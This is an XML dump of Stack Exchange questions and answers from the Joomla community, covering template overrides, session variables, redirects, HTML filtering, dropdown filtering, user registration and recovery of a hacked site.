  <row Id="18226" PostTypeId="1" AcceptedAnswerId="18230" CreationDate="2016-10-31T13:10:58.323" Score="0" ViewCount="2879" Body="&lt;p&gt;I had installed a template from joomshaper. &#xA;I'm trying to edit the login form of it. I already try to overwrite the mod_login/.../default.html file, but the form used by the template is not being overwritten. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to overwrite the k2_user default.php file but still, not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website does not have any module of type &quot;k2_user&quot; or &quot;Login_form&quot; activated in the site view only at the Administrator view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I activated a module of type k2_user I can see the modifications made in the rewritten file, but I can't in the login form used by the template.&lt;/p&gt;&#xA;" OwnerUserId="8969" LastEditorUserId="8969" LastEditDate="2016-10-31T19:55:08.707" LastActivityDate="2018-12-03T13:03:24.140" Title="Editing the Joomla Login Form" Tags="|joomla-3.x|login|form|editing|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18227" PostTypeId="2" ParentId="18220" CreationDate="2016-10-31T13:46:07.907" Score="0" Body="&lt;p&gt;Ok, I see what you mean now. So there is no way to achieve this with your current HTML markup. Simply because if you change the &lt;code&gt;z-index&lt;/code&gt; of the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element, the image will overlap the &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;a href=&quot;http://codepen.io/web-tiki/pen/wWGeEM&quot; rel=&quot;nofollow&quot;&gt;demo&lt;/a&gt;, you can see that all the content is wrapped inside the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Your current markup:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;/greentec-capital.com/images/gallery/bild4.jpg&quot;&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Title&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;Some text here&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Required markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;/greentec-capital.com/images/gallery/bild4.jpg&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Title&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p&amp;gt;Some text here&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-10-31T13:46:07.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18228" PostTypeId="1" CreationDate="2016-10-31T15:31:48.357" Score="1" ViewCount="112" Body="&lt;p&gt;In my website a user does some action that adds a new custom variable to the Joomla session. Is it possible to set specific lifetime of that variable in the session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.6.4&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2018-01-27T00:16:38.953" Title="Is it possible to set lifetime of specific session variable on the client-side" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18229" PostTypeId="1" AcceptedAnswerId="18233" CreationDate="2016-10-31T20:27:55.567" Score="1" ViewCount="111" Body="&lt;p&gt;the site is very old.  version 3.3.0.  I don't know if the libraries folder is ever supposed to have anything changed in it or if it would be safe to just delete that directory and upload a new libraries folder from a clean install of joomla of the same version.&lt;/p&gt;&#xA;" OwnerUserId="9213" LastEditorUserId="3650" LastEditDate="2016-11-02T11:04:21.333" LastActivityDate="2016-11-02T11:04:21.333" Title="Joomla got hacked. Is it safe to replace the entire library directory" Tags="|libraries|hacked|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18230" PostTypeId="2" ParentId="18226" CreationDate="2016-11-01T01:25:52.150" Score="0" Body="&lt;p&gt;It sounds like a template override for the com_users login view.  Try modifying the &lt;b&gt;/templates/YOUR_TEMPLATE/html/com_users/login/default.php&lt;/b&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-11-01T01:25:52.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18232" PostTypeId="2" ParentId="18229" CreationDate="2016-11-01T04:24:31.330" Score="1" Body="&lt;p&gt;Assuming core files have not been modified it should be safe to reinstall the Joomla files. Ideally, run a backup before you start in case anything goes wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend upgrading to the latest version of Joomla (currently 3.6.4) where the Joomla Update component has an option to reinstall core files (this feature was added around Joomla 3.6.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use a commercial scanning tool that will tell you which files have been modified and offer to revert these to the original versions.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-11-01T04:24:31.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18233" PostTypeId="2" ParentId="18229" CreationDate="2016-11-01T05:56:41.190" Score="0" Body="&lt;p&gt;&lt;strong&gt;Hacked Joomla Sites:&lt;/strong&gt; you can find many articles, posts and relevant documentation by searching in the web, including this site, regarding what you have to do to fix and secure your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding the libraries folder:&lt;/strong&gt; It's a folder where 3rd party extensions and developers may place files (scripts, libraries, frameworks etc). If you haven't add anything more than the core, then you could easily replace the whole folder. If you know that you have installed certain extensions that may have added additional files in the libraries, then re-installing them will install again those files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly you need to update to latest Joomla, as anything below 3.6.4 is vulnerable. Just do your homework and search for documentation as said above, in order to get a full list with tasks you have to do to clear and protect your site. Missing doing the recommended tasks, then likely your site will be hacked again in the next days. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ask for professional help if you are unsure.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-11-01T21:03:00.360" LastActivityDate="2016-11-01T21:03:00.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18235" PostTypeId="1" AcceptedAnswerId="18237" CreationDate="2016-11-01T09:26:16.593" Score="0" ViewCount="309" Body="&lt;p&gt;I am getting strange behavior while trying to add custom html via a custom html module. My markup is getting altered and the behavior is affected as a result. I want to have an anchor tag wrapped around an image, h2, and a p tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;/greentec-capital.com/images/gallery/bild4.jpg&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Title&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p&amp;gt;Some text here&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once saved, the anchor tag is only wrapped around the image, which makes the menu itself unusable. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;/greentec-capital.com/images/gallery/bild4.jpg&quot;&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Title&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;Some text here&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From, my research this is something to do with how the html is saved from the wysiwyg editor into the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, something in the saving process is opinionated about how the html should be structured. Is there someway of preventing this? I've looked into the text filtering settings, and there doesn't seem to be an obvious fix from there. I'm relatively new to joomla, but it looks like the Code Mirror and TinyMCE editors are installed on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, if there isn't an easy fix with an editor, would coding a module solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-12-01T10:20:10.213" Title="How to preserve HTML input via wysiwyg into custom html module?" Tags="|joomla-3.x|custom-module|filter|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18236" PostTypeId="2" ParentId="18235" CreationDate="2016-11-01T09:34:04.993" Score="1" Body="&lt;p&gt;In your Joomla backend, go to &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Text Filters&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the &lt;strong&gt;Super User&lt;/strong&gt; row, select &lt;strong&gt;No Filtering&lt;/strong&gt; from the dropdown menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/adv7H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/adv7H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-11-01T09:34:04.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18237" PostTypeId="2" ParentId="18235" CreationDate="2016-11-01T10:14:42.927" Score="1" Body="&lt;p&gt;So, I didn't find out the mechanics of why this happens, but it does. I solved my problem by using this the &lt;a href=&quot;https://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt; module, which doesn't do any text filtering at all. Another solution would have been to use a custom module.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-11-01T10:14:42.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18238" PostTypeId="1" CreationDate="2016-11-01T11:42:57.710" Score="1" ViewCount="517" Body="&lt;p&gt;how can I redirect a URL in Joomla 3.6 from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.tld/articleid-my-seo-title.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.tld/category-alias/articleid-my-seo-title.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to do this because Google sometimes seems to index the pages without the category-alias and I want to do a 301 to the URL with alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9216" LastActivityDate="2017-01-02T00:45:50.470" Title="Redirect or add missing category alias to URL in Joomla 3.6" Tags="|joomla-3.x|url|sef|redirect|category|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18239" PostTypeId="1" CreationDate="2016-11-01T16:55:32.570" Score="0" ViewCount="587" Body="&lt;p&gt;Using below code to display database values as drop down in rsjoomla&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$items = &quot;|Please Select[c]\n&quot;;&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT id, prod_name FROM __used_products ORDER BY prod_sorder ASC&quot;);&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;if($result)&#xA;foreach ($result as $r)&#xA;$items .= $r-&amp;gt;id . '|' . $r-&amp;gt;prod_name . &quot;\n&quot;;&#xA;&#xA;return rtrim($items);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However - as the drop down is of more than 200 items, is there a way for a user to start typing a word and the select box only shows possible matches?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the drop down field has the following options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alto&lt;/li&gt;&#xA;&lt;li&gt;Amaze&lt;/li&gt;&#xA;&lt;li&gt;Wagon r&lt;/li&gt;&#xA;&lt;li&gt;swift&lt;/li&gt;&#xA;&lt;li&gt;i10&lt;/li&gt;&#xA;&lt;li&gt;santro&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then if a user types in &lt;code&gt;a&lt;/code&gt; - it should display matching results (&lt;code&gt;Alto&lt;/code&gt;, &lt;code&gt;Amaze&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="3650" LastEditDate="2016-11-07T19:47:59.207" LastActivityDate="2016-11-07T19:47:59.207" Title="How to filter and reduce drop down select box" Tags="|php|select|dropdown|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18240" PostTypeId="2" ParentId="18239" CreationDate="2016-11-01T17:07:40.530" Score="2" Body="&lt;p&gt;Simple. You'll want to utilise jQuery Chosen which is shipped with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Target a specific select box:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php JHtml::_('formbehavior.chosen', '.myclass'); ?&amp;gt;&#xA;&#xA;&amp;lt;select class=&quot;myclass&quot;&amp;gt;&#xA;    // Options&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Target all select boxes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php JHtml::_('formbehavior.chosen', 'select'); ?&amp;gt;&#xA;&#xA;&amp;lt;select&amp;gt;&#xA;    // Options&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It will render something similar to the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uzv6E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uzv6E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-11-01T17:07:40.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18241" PostTypeId="1" CreationDate="2016-11-01T21:57:42.280" Score="0" ViewCount="714" Body="&lt;p&gt;I'm looking for some help with our website. So, we have this news site which gets lots and lots of new articles in short period of time and therefore it requires lots of journalists working on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow would be much easier if we wouldn't have to set Intro Image or Full Text Image each time on each article to be shown in the blog layout next to the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some 3rd party modules know how to pick any image from the content of the article. Since the website is online and 3rd party modules wouldn't be the best solution for us, I'm wondering is there any way to tell Joomla to pick any image from the article instead of just Intro Image or Full Text Image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working around php a bit but couldn't find any line that would help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jan&lt;/p&gt;&#xA;" OwnerUserId="9219" LastActivityDate="2017-01-01T16:35:02.413" Title="Show image from the article in blog layout" Tags="|content|images|category-blog|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18243" PostTypeId="2" ParentId="16057" CreationDate="2016-11-02T03:12:41.573" Score="0" Body="&lt;p&gt;Further to Lodders answer, another option would be to :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a dedicated email account for Joomla updates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a super user account on all the sites you maintain with that email address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the &lt;strong&gt;System - Joomla! Update Notification&lt;/strong&gt; plugin and add that email address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, all your update emails from all sites will go to one inbox.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5405" LastActivityDate="2016-11-02T03:12:41.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18244" PostTypeId="1" AcceptedAnswerId="18247" CreationDate="2016-11-02T05:36:21.037" Score="5" ViewCount="420" Body="&lt;p&gt;Is there a way to add superscript or subscript in Joomla Article Title words?&#xA;as Joomla cleans the tags from title area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2016-11-03T05:41:54.330" Title="Superscript/subscript in Joomla Article Title" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18246" PostTypeId="1" CreationDate="2016-11-02T15:00:38.427" Score="3" ViewCount="1222" Body="&lt;p&gt;I have this PHP script that I want to call from a mobile app, that registers an email address, uses a random password, and automatically activates &amp;amp; asks the user to reset the password upon first login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the $data array i'm passing to the &lt;strong&gt;UserModelRegistration&lt;/strong&gt; register function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array( &#xA;  'username' =&amp;gt; $username,&#xA;  'name' =&amp;gt; $name,&#xA;  'email1' =&amp;gt; $email,&#xA;  'password1' =&amp;gt; $password, // First password field&#xA;  'password2' =&amp;gt; $password, // Confirm password field&#xA;  'sendEmail'  =&amp;gt; '0',&#xA;  'block' =&amp;gt; '0',&#xA;  'activation' =&amp;gt; '0',&#xA;  'groups' =&amp;gt;array(&quot;2&quot;,&quot;10&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sendEmail, activation and groups parameters are not really doing anything... tried changing them around, using &lt;strong&gt;0&lt;/strong&gt; instead of &lt;strong&gt;'0'&lt;/strong&gt; and played around with the order, but nothing helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it isn't, is there any way, to make a simple email registration which registers the email and asks for a password reset?&lt;/p&gt;&#xA;" OwnerUserId="9223" LastActivityDate="2016-12-03T14:19:59.640" Title="Register user via external script and a random password" Tags="|joomla-3.x|php|login|registration|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18247" PostTypeId="2" ParentId="18244" CreationDate="2016-11-02T15:04:13.783" Score="5" Body="&lt;p&gt;We resolved this problem for a client once by adding something like &lt;code&gt;***&lt;/code&gt; to the title, for example, if the title is &quot;This is the 2nd article&quot;, then we will have in the title something like &quot;This is the &lt;code&gt;2/***nd***/&lt;/code&gt; article&quot;, and then, in the template displaying the article, we replace instances of &lt;code&gt;/***&lt;/code&gt; (in the title) to &lt;code&gt;&amp;lt;sup&amp;gt;&lt;/code&gt; and instances of &lt;code&gt;***/&lt;/code&gt; to &lt;code&gt;&amp;lt;/sup&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-02T15:04:13.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18248" PostTypeId="2" ParentId="18241" CreationDate="2016-11-02T15:18:47.223" Score="1" Body="&lt;p&gt;You can do the following in the overridden article layout file (e.g. &lt;code&gt;templates/[your-template]/html/com_content/article/default.php&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Search for images using a regular expression&lt;/li&gt;&#xA;&lt;li&gt;Use the first image found as a display image for your article (you can use a default image if no images are found)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the regular expression used to find images, you can check &lt;a href=&quot;http://www.itoctopus.com/no-wrong-thumbnail-image-when-sharing-k2-articles-through-facebook&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; where we searched for images in a K2 article (essentially used for Open Graph tags). The regular expression line should be exactly the same in your code.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-02T15:18:47.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18250" PostTypeId="2" ParentId="18228" CreationDate="2016-11-02T16:23:25.433" Score="1" Body="&lt;p&gt;Just add a second variable to the session, where that variable consists of the expiry date of the custom variable that is added. Then you can check the 2nd variable for the expiry date of the first variable.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-02T16:23:25.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18251" PostTypeId="1" CreationDate="2016-11-02T16:39:28.777" Score="4" ViewCount="380" Body="&lt;p&gt;Within a plugin I need to add and populate (data is available inside my plugin) a column to &lt;strong&gt;com_menus&amp;amp;view=menus&lt;/strong&gt; view in administration.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a0WDz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0WDz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;my_plugin.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public function onAfterInitialise()&#xA;{&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    if (JFactory::getApplication()-&amp;gt;isAdmin()&#xA;        &amp;amp;&amp;amp; $input-&amp;gt;getCmd('option') == 'com_menus'&#xA;        &amp;amp;&amp;amp; $input-&amp;gt;getCmd('view') == 'menus')&#xA;    {&#xA;        JRequest::setVar('view', 'menusextra');&#xA;        JLoader::register('MenusViewMenusextra', __DIR__ . '/views/menus/view.html.php');&#xA;    }&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;view.html.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;JLoader::register('MenusViewMenus', JPATH_ADMINISTRATOR . '/components/com_menus/views/menus/view.html.php');&#xA;JLoader::register('MenusModelMenus', JPATH_ADMINISTRATOR . '/components/com_menus/models/menus.php');&#xA;&#xA;class MenusViewMenusextra extends MenusViewMenus&#xA;{&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;items         = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;pagination    = $this-&amp;gt;get('Pagination');&#xA;        $this-&amp;gt;state         = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;filterForm    = $this-&amp;gt;get('FilterForm');&#xA;        $this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;        $this-&amp;gt;canDo         = JHelperContent::getActions('com_menus');&#xA;        $this-&amp;gt;db            = JFactory::getDbo();&#xA;&#xA;        $this-&amp;gt;addTemplatePath(__DIR__ . '/tmpl/');&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&#xA;class MenusModelMenusextra extends MenusModelMenus {}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, I am getting the error &lt;strong&gt;&amp;quot;JForm::getInstance could not load file&amp;quot;&lt;/strong&gt;. Think this is due because it is not being able to load the &lt;em&gt;filter_menusextra.xml&lt;/em&gt;, the original (core) &lt;em&gt;filter_menus.xml&lt;/em&gt; that is located &lt;em&gt;\administrator\components\com_menus\models\forms&lt;/em&gt;. Is it because it uses the JLayout search tools and need to load the xml file?&lt;/p&gt;&#xA;&lt;p&gt;Made the following test: renamed &lt;em&gt;filter_menus.xml&lt;/em&gt; to &lt;em&gt;filter_menusextra.xml&lt;/em&gt; in &lt;em&gt;\administrator\components\com_menus\models\forms&lt;/em&gt; and it worked. But as I am overriding it I should be able to make it inside my plugin, not the core one?! What am I doing wrong?&lt;/p&gt;&#xA;&lt;p&gt;Could someone help me please on this?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-03-10T08:01:45.333" Title="Core Component Layout Override with Plugin" Tags="|joomla-3.x|development|plugin|overrides|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18253" PostTypeId="1" AcceptedAnswerId="18254" CreationDate="2016-11-02T16:57:36.600" Score="1" ViewCount="32" Body="&lt;p&gt;I want to publish the article in specific folder?  Just like a following link,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://a4academics.com/interview-questions/57-c-plus-plus/419-cpp-interview-questions-answers&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://a4academics.com/interview-questions/57-c-plus-plus/419-cpp-interview-questions-answers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9229" LastActivityDate="2016-11-02T17:10:58.200" Title="How to publish the article to specific folder in joomla?" Tags="|articles|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18254" PostTypeId="2" ParentId="18253" CreationDate="2016-11-02T17:10:58.200" Score="0" Body="&lt;p&gt;You'll want to set up your specific categories in the category manager.&lt;br&gt;&#xA;Once you have a category saved, you can then set the article to that category.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also, after you have the article added to the category, set up a menu item to category blog. Then, any time you add an article to that category, it will automatically be added to the pages as a blog post.&lt;/p&gt;&#xA;" OwnerUserId="9228" LastActivityDate="2016-11-02T17:10:58.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18255" PostTypeId="2" ParentId="18238" CreationDate="2016-11-03T00:15:31.943" Score="1" Body="&lt;p&gt;You could use the core Joomla! Redirects component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.joomla.org/Help36:Components_Redirect_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help36:Components_Redirect_Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8631" LastActivityDate="2016-11-03T00:15:31.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18256" PostTypeId="2" ParentId="18244" CreationDate="2016-11-03T05:41:54.330" Score="3" Body="&lt;p&gt;Another option is to place the title as a H1 into the content and not render the Joomla title in the template&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2016-11-03T05:41:54.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18257" PostTypeId="1" AcceptedAnswerId="18258" CreationDate="2016-11-03T07:50:13.373" Score="2" ViewCount="1166" Body="&lt;p&gt;I want to hide a menu item to registered users, but when I use &quot;Guest&quot; access that item disappears! so no one can see it.&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2020-09-11T12:30:01.130" Title="I want to hide a menu item to registered users" Tags="|joomla-3.x|menu|access|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18258" PostTypeId="2" ParentId="18257" CreationDate="2016-11-03T08:36:39.277" Score="2" Body="&lt;p&gt;Please check that in User-&amp;gt;Manage-&amp;gt;Options that the value of the field &lt;strong&gt;Guest User Group&lt;/strong&gt; is set to &lt;strong&gt;Guest&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="12352" LastEditDate="2020-08-11T04:03:03.313" LastActivityDate="2020-08-11T04:03:03.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18259" PostTypeId="2" ParentId="16767" CreationDate="2016-11-03T11:37:58.273" Score="1" Body="&lt;p&gt;Use Acymailing spam test option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test will give you some clues about the rejected URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest also to use this service:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mail-tester.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mail-tester.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and againg check the report.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-11-03T11:37:58.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18260" PostTypeId="2" ParentId="17970" CreationDate="2016-11-03T12:49:39.073" Score="1" Body="&lt;p&gt;What you've been missing is adding your element to your form object, as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$media = new JFormFieldMedia();&#xA;$media-&amp;gt;name = 'icon_image';&#xA;$media-&amp;gt;label = 'Image';&#xA;$media-&amp;gt;setForm($this-&amp;gt;form);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without binding it to a form, it cannot retrieve its underlying value.&lt;/p&gt;&#xA;" OwnerUserId="9232" LastActivityDate="2016-11-03T12:49:39.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
